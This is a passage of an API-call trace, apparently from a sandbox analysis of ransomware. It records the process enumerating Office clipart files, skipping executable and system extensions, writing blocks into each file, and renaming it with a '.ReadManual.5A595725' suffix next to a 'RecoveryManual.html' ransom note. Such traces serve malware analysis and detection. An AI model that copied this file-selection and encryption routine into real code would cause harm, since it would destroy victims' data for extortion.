(psz1="JPG", psz2="cat") returned 1 [0268.603] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0268.603] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0268.603] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0268.603] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0268.604] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0268.604] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0268.604] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0268.604] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" [0268.604] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ReadManual.5A595725" [0268.604] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ReadManual.5A595725") returned 87 [0268.604] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38927247356) returned 1 [0268.604] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg")) returned 0x20 [0268.604] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.604] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=42254) returned 1 [0268.604] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50e, lpName=0x0) returned 0x184 [0268.604] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.605] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.605] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.607] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.607] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50e) returned 0x2f0000 [0268.608] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.608] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38927726532) returned 1 [0268.609] CloseHandle (hObject=0x184) returned 1 [0268.609] SetSecurityInfo () returned 0x57 [0268.609] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.609] CloseHandle (hObject=0x194) returned 1 [0268.609] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0268.609] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0211981.WMF" | out: lpString1="J0211981.WMF") returned="J0211981.WMF" [0268.609] lstrcmpiW (lpString1="J0211981.WMF", lpString2="RecoveryManual.html") returned -1 [0268.609] StrStrIW (lpFirst="J0211981.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.609] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.609] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.609] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" [0268.609] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ReadManual.5A595725" [0268.609] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF.ReadManual.5A595725") returned 87 [0268.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38927823037) returned 1 [0268.610] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf")) returned 0x20 [0268.610] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0211981.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0211981.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.610] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=28276) returned 1 [0268.610] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e74, lpName=0x0) returned 0x184 [0268.610] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.611] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.611] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.613] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.613] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e74) returned 0x2f0000 [0268.613] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38928209722) returned 1 [0268.613] CloseHandle (hObject=0x184) returned 1 [0268.613] SetSecurityInfo () returned 0x57 [0268.614] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.614] CloseHandle (hObject=0x194) returned 1 [0268.614] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212299.WMF", cAlternateFileName="")) returned 1 [0268.614] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0212299.WMF" | out: lpString1="J0212299.WMF") returned="J0212299.WMF" [0268.614] lstrcmpiW (lpString1="J0212299.WMF", lpString2="RecoveryManual.html") returned -1 [0268.614] StrStrIW (lpFirst="J0212299.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.614] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.614] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.614] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" [0268.614] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ReadManual.5A595725" [0268.614] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.ReadManual.5A595725") returned 87 [0268.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38928306077) returned 1 [0268.614] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf")) returned 0x20 [0268.615] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.615] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6158) returned 1 [0268.615] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x180e, lpName=0x0) returned 0x184 [0268.616] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.616] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.616] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.618] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.618] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x180e) returned 0x2f0000 [0268.618] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38928700651) returned 1 [0268.618] CloseHandle (hObject=0x184) returned 1 [0268.618] SetSecurityInfo () returned 0x57 [0268.618] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.618] CloseHandle (hObject=0x194) returned 1 [0268.619] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x25cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0268.619] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0212601.WMF" | out: lpString1="J0212601.WMF") returned="J0212601.WMF" [0268.619] lstrcmpiW (lpString1="J0212601.WMF", lpString2="RecoveryManual.html") returned -1 [0268.619] StrStrIW (lpFirst="J0212601.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.619] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.619] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.619] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" [0268.619] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ReadManual.5A595725" [0268.619] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.ReadManual.5A595725") returned 87 [0268.619] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38928796712) returned 1 [0268.619] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf")) returned 0x20 [0268.619] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.620] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9676) returned 1 [0268.620] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25cc, lpName=0x0) returned 0x184 [0268.620] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.620] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.620] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.623] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.623] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25cc) returned 0x2f0000 [0268.623] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.623] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38929192015) returned 1 [0268.623] CloseHandle (hObject=0x184) returned 1 [0268.623] SetSecurityInfo () returned 0x57 [0268.623] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.623] CloseHandle (hObject=0x194) returned 1 [0268.623] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0268.624] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0212685.WMF" | out: lpString1="J0212685.WMF") returned="J0212685.WMF" [0268.624] lstrcmpiW (lpString1="J0212685.WMF", lpString2="RecoveryManual.html") returned -1 [0268.624] StrStrIW (lpFirst="J0212685.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.624] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.624] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.624] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" [0268.624] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ReadManual.5A595725" [0268.624] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.ReadManual.5A595725") returned 87 [0268.624] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38929290689) returned 1 [0268.624] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf")) returned 0x20 [0268.624] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.625] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6554) returned 1 [0268.625] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x199a, lpName=0x0) returned 0x184 [0268.625] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.625] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.626] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.627] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x199a) returned 0x2f0000 [0268.628] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.628] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38929638354) returned 1 [0268.628] CloseHandle (hObject=0x184) returned 1 [0268.628] SetSecurityInfo () returned 0x57 [0268.628] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.628] CloseHandle (hObject=0x194) returned 1 [0268.628] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0268.628] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0212751.WMF" | out: lpString1="J0212751.WMF") returned="J0212751.WMF" [0268.628] lstrcmpiW (lpString1="J0212751.WMF", lpString2="RecoveryManual.html") returned -1 [0268.628] StrStrIW (lpFirst="J0212751.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.628] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.628] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.628] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" [0268.628] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ReadManual.5A595725" [0268.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.ReadManual.5A595725") returned 87 [0268.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38929734960) returned 1 [0268.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf")) returned 0x20 [0268.629] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft 